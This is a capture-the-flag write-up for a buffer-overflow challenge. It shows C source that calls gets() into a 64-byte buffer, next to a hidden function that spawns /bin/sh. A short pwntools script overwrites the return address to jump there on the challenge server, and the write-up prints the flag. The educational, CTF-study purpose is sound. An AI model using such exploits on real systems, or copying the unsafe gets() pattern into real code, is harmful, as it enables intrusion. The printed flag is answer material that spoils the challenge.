clannad_is_g00d_anim3#

Files#

1
char *gets(char *s);
2

3
int Clannad(){
4
  system("/bin/sh");
5
}
6

7
int vuln(){
8
  char buffer[64];
9
  printf("Welcome to the world of dango daikazoku\n");
10
  printf("enter a dango:");
11
  gets(buffer);
12
}
13

14
int main(){
15
  setvbuf(stdout, 0, 2, 0);
16
  setvbuf(stdin, 0, 2, 0);
17
  setvbuf(stderr, 0, 2, 0);
18

19
  vuln();
20
  printf("Hello\n");
21
  return 0;
22
}

Vulnerability#

Looking at our function vuln we can spot a common vulnerability, using the function gets. Using gets allows us to input more than 64 characters which will overwrite the return address. This now lets use jump to any function like Clannad which gives us a shell

Exploit#

1
from pwn import *
2

3
payload = b'A'*72
4
payload += p64(0x4011bb)
5
p = remote('chal.78727867.xyz', 9999)
6
p.sendline(payload)
7
p.interactive()

First we send enough A to fill up the buffer and a little more

We can find out how many by sending pwn cyclic to the binary and seeing in gdb where we end up and then looking up that value

Then we get the address of Clannad using either gdb or objdump, which is 0x4011bb and send that so it becomes our return address

Then we just use the interactive shell and find our flag: NHNC{CLANNAD_1s_g00d_anim3_and_you_kn0w_BOF}

Conclusion#

Don’t use gets. The compiler literally tells you not to